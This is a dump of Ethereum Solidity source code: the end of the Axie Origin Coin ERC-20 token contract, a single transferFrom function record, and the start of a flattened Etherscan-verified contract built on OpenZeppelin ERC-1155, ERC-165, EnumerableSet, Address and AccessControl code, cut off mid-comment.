* @param _value The amount of token to be transferred.
*
* @return Whether the transfer was successful or not.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
_balance[msg.sender] = _balance[msg.sender].sub(_value);
_balance[_to] = _balance[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @notice Transfers `_value` amount of tokens from address `_from` to address `_to`.
*
* @param _from The address of the sender.
* @param _to The address of the recipient.
* @param _value The amount of token to be transferred.
*
* @return Whether the transfer was successful or not.
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
_balance[_from] = _balance[_from].sub(_value);
_balance[_to] = _balance[_to].add(_value);
_allowed[_from][msg.sender] = _allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @notice Allows `_spender` to withdraw from your account multiple times, up to the `_value` amount.
* If this function is called again it overwrites the current allowance with `_value`.
*
* @param _spender The address of the account able to transfer the tokens.
* @param _value The amount of tokens to be approved for transfer.
*
* @return Whether the approval was successful or not.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
_allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @notice Returns the amount which `_spender` is still allowed to withdraw from `_owner`.
*
* @param _owner The address of the account owning tokens.
* @param _spender The address of the account able to transfer the tokens.
*
* @return Amount of remaining tokens allowed to spent.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return _allowed[_owner][_spender];
}
}
// File: contracts/erc/erc20/ERC20Burnable.sol
/**
* @title An implementation of the ERC-20 Token Standard
* which allows tokens to be burnt.
*/
contract ERC20Burnable is ERC20 {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public returns (bool) {
_balance[msg.sender] = _balance[msg.sender].sub(_value);
_totalSupply = _totalSupply.sub(_value);
emit Transfer(msg.sender, address(0), _value);
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool) {
_balance[_from] = _balance[_from].sub(_value);
_totalSupply = _totalSupply.sub(_value);
_allowed[_from][msg.sender] = _allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, address(0), _value);
emit Burn(_from, _value);
return true;
}
}
// File: contracts/erc/erc20/ERC20DetailedInterface.sol
/**
* @title Contains optional methods which give some detailed information about the token
* in ERC-20 Token Standard.
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md.
*/
contract ERC20DetailedInterface is ERC20Interface {
/**
* @notice Returns the name of the token.
* @return The name.
*/
function name() public view returns (string _name);
/**
* @notice Returns the name of the token.
* @return The symbol.
*/
function symbol() public view returns (string _symbol);
/**
* @notice Returns the number of decimals the token uses.
* @dev For example, 8 means to divide the token amount by 100,000,000
* to get its user representation.
* @return The number of decimals.
*/
function decimals() public view returns (uint8 _decimals);
}
// File: contracts/erc/erc20/ERC20RecipientInterface.sol
interface ERC20RecipientInterface {
function receiveApproval(address _from, uint256 _value, address _erc20Address, bytes _data) external;
}
// File: contracts/erc/erc20/ERC20Extended.sol
/**
* @title An implementation of the ERC-20 Token Standard
* which implements `approveAndCall` function according to the extended standard.
*/
contract ERC20Extended is ERC20 {
/**
* @notice Allows `_spender` to withdraw from your account multiple times, up to the `_value` amount.
* After the approval, executes `receiveApproval` function on `_spender`.
* If this function is called again it overwrites the current allowance with `_value`.
*
* @param _spender The address that will spend the funds.
* @param _value The amount of tokens to be spent.
* @param _data Additional data to be passed to `receiveApproval` function on `_spender`.
*
* @return Whether the approval was successful or not.
*/
function approveAndCall(address _spender, uint256 _value, bytes _data) public returns (bool) {
require(approve(_spender, _value));
ERC20RecipientInterface(_spender).receiveApproval(msg.sender, _value, this, _data);
return true;
}
}
// File: zeppelin/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts/erc/erc20/ERC20Mintable.sol
/**
* @title An implementation of the ERC-20 Token Standard
* which allows tokens to be minted.
*/
contract ERC20Mintable is ERC20, Ownable {
bool public mintingFinished = false;
event Mint(address indexed to, uint256 value);
event MintFinished();
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _value) onlyOwner canMint public returns (bool) {
_balance[_to] = _balance[_to].add(_value);
_totalSupply = _totalSupply.add(_value);
emit Mint(_to, _value);
emit Transfer(address(0), _to, _value);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
// File: contracts/token/AxieOriginCoin.sol
/**
* @title The contract which holds Axie Origin Coins.
* @dev Five Axie Origin Coins can be redeemed for one Origin Axie.
*/
contract AxieOriginCoin is ERC20DetailedInterface, ERC20Extended, ERC20Mintable, ERC20Burnable {
uint256 constant public NUM_COIN_PER_AXIE = 5;
uint256 constant public NUM_RESERVED_AXIE = 427;
uint256 constant public NUM_RESERVED_COIN = NUM_RESERVED_AXIE * NUM_COIN_PER_AXIE;
constructor() public {
// Reserve 20% of all remaining Axies from the Presale.
mint(msg.sender, NUM_RESERVED_COIN);
// As its name says.
_allocateUnspentRefTokens();
// Don't allow tokens to be minted anymore.
finishMinting();
}
/**
* @notice Returns the name of the token.
* @return The name.
*/
function name() public view returns (string) {
return "Axie Origin Coin";
}
/**
* @notice Returns the name of the token.
* @return The symbol.
*/
function symbol() public view returns (string) {
return "AOC";
}
/**
* @notice Returns the number of decimals the token uses.
* @return The number of decimals.
*/
function decimals() public view returns (uint8) {
return 0;
}
function _allocateUnspentRefTokens() private {
// 0
mint(0x052731748979e182fdf9Bf849C6df54f9f196645, 3);
mint(0x1878B18693fc273DE9FD833B83f9679785c01aB2, 1);
mint(0x1E3934EA7E416F4E2BC5F7d55aE9783da0061475, 1);
mint(0x32451d81EB31411B2CA4e70F3d87B3DEACCEA2d2, 3);
mint(0x494952f01a30547d269aaF147e6226f940f5B041, 8);
// 5
mint(0x5BD73bB4e2A9f81922dbE7F4b321cfAE208BE2E6, 1);
mint(0x6564A5639e17e186f749e493Af98a51fd3092048, 12);
mint(0x696A567271BBDAC6f435CAb9D69e56cD115B76eB, 1);
mint(0x70580eA14d98a53fd59376dC7e959F4a6129bB9b, 2);
mint(0x75f732C1b1D0bBdA60f4B49EF0B36EB6e8AD6531, 1);
// 10
mint(0x84418eD93d141CFE7471dED46747D003117eCaD5, 2);
mint(0x9455A90Cbf43D331Dd76a2d07192431370f64384, 2);
mint(0x95fd3579c73Ea675C89415285355C4795118B345, 1);
mint(0xa3346F3Af6A3AE749aCA18d7968A03811d15d733, 1);
mint(0xA586A3B8939e9C0DC72D88166F6F6bb7558EeDCe, 1);
// 15
mint(0xAb01D4895b802c38Eee7553bb52A4160CFca2878, 1);
mint(0xd6E8D52Be82550B230176b6E9bA49BC3fAF43E4a, 1);
mint(0xEAB0c22D927d15391dd0CfbE89a3b59F6e814551, 3);
mint(0x03300279d711b8dEb1353DD9719eFf81Ea1b6bEd, 3);
mint(0x03b4A1fdeCeC66338071180a7F2f2D518CFf224A, 4);
// 20
mint(0x0537544De3935408246EE2Ad09949D046F92574D, 4);
mint(0x0E26169270D92Ff3649461B55CA51C99703dE59e, 1);
mint(0x16Ea1F673E01419BA9aF51365b88138Ac492489a, 1);
mint(0x28d02f67316123Dc0293849a0D254AD86b379b34, 2);
mint(0x38A6022FECb675a53F31CDaB3457456DD6e5911c, 2);
// 25
mint(0x4260E8206c58cD0530d9A5cff55B77D6165c7BCd, 1);
mint(0x7E1DCf785f0353BF657c38Ab7865C1f184EFE208, 4);
mint(0x7f328117b7de7579C6249258d084f75556E2699d, 1);
mint(0x8a9d49a6e9D037843560091fC280B9Ff9819e462, 3);
mint(0x8C5fC43ad00Cc53e11F61bEce329DDc5E3ea0929, 3);
// 30
mint(0x8FF9679fc77B077cB5f8818B7B63022582b5d538, 1);
mint(0x97bfc7fc1Ee5b25CfAF6075bac5d7EcA037AD694, 1);
mint(0x993a64DB27a51D1E6C1AFF56Fb61Ba0Dac253acb, 2);
mint(0xa6bCEc585F12CeFBa9709A080cE2EFD38f871024, 1);
mint(0xaF6488744207273c79B896922e65651C61033787, 5);
// 35
mint(0xB3C2a4ce7ce57A74371b7E3dAE8f3393229c2aaC, 3);
mint(0xb4A90c06d5bC51D79D44e11336077b6F9ccD5683, 23);
mint(0xB94c9e7D28e54cb37fA3B0D3FFeC24A8E4affA90, 3);
mint(0xDe0D2e92e85B8B7828723Ee789ffA3Ba9FdCDb9c, 1);
mint(0xe37Ba1117746473db68A807aE9E37a2088BDB20f, 1);
// 40
mint(0x5eA1D56D0ddE1cA5B50c277275855F69edEfA169, 1);
mint(0x6692DE2d4b3102ab922cB21157EeBCD9BDDDBb15, 4);
// 42
}
}
|
* @notice Transfers `_value` amount of tokens from address `_from` to address `_to`. @param _from The address of the sender. @param _to The address of the recipient. @param _value The amount of token to be transferred. @return Whether the transfer was successful or not./
|
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
_balance[_from] = _balance[_from].sub(_value);
_balance[_to] = _balance[_to].add(_value);
_allowed[_from][msg.sender] = _allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
| 6,593,092
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/**
*Submitted for verification at Etherscan.io on 2021-10-18
*/
// File: @openzeppelin/contracts/introspection/IERC165.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC1155/IERC1155.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transfered from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;
}
// File: contracts/root/RootToken/IMintableERC1155.sol
pragma solidity 0.6.6;
interface IMintableERC1155 is IERC1155 {
/**
* @notice Creates `amount` tokens of token type `id`, and assigns them to `account`.
* @dev Should be callable only by MintableERC1155Predicate
* Make sure minting is done only by this function
* @param account user address for whom token is being minted
* @param id token which is being minted
* @param amount amount of token being minted
* @param data extra byte data to be accompanied with minted tokens
*/
function mint(address account, uint256 id, uint256 amount, bytes calldata data) external;
/**
* @notice Batched version of singular token minting, where
* for each token in `ids` respective amount to be minted from `amounts`
* array, for address `to`.
* @dev Should be callable only by MintableERC1155Predicate
* Make sure minting is done only by this function
* @param to user address for whom token is being minted
* @param ids tokens which are being minted
* @param amounts amount of each token being minted
* @param data extra byte data to be accompanied with minted tokens
*/
function mintBatch(address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;
}
// File: @openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
)
external
returns(bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external
returns(bytes4);
}
// File: @openzeppelin/contracts/introspection/ERC165.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File: @openzeppelin/contracts/token/ERC1155/ERC1155Receiver.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev _Available since v3.1._
*/
abstract contract ERC1155Receiver is ERC165, IERC1155Receiver {
constructor() public {
_registerInterface(
ERC1155Receiver(0).onERC1155Received.selector ^
ERC1155Receiver(0).onERC1155BatchReceived.selector
);
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/AccessControl.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
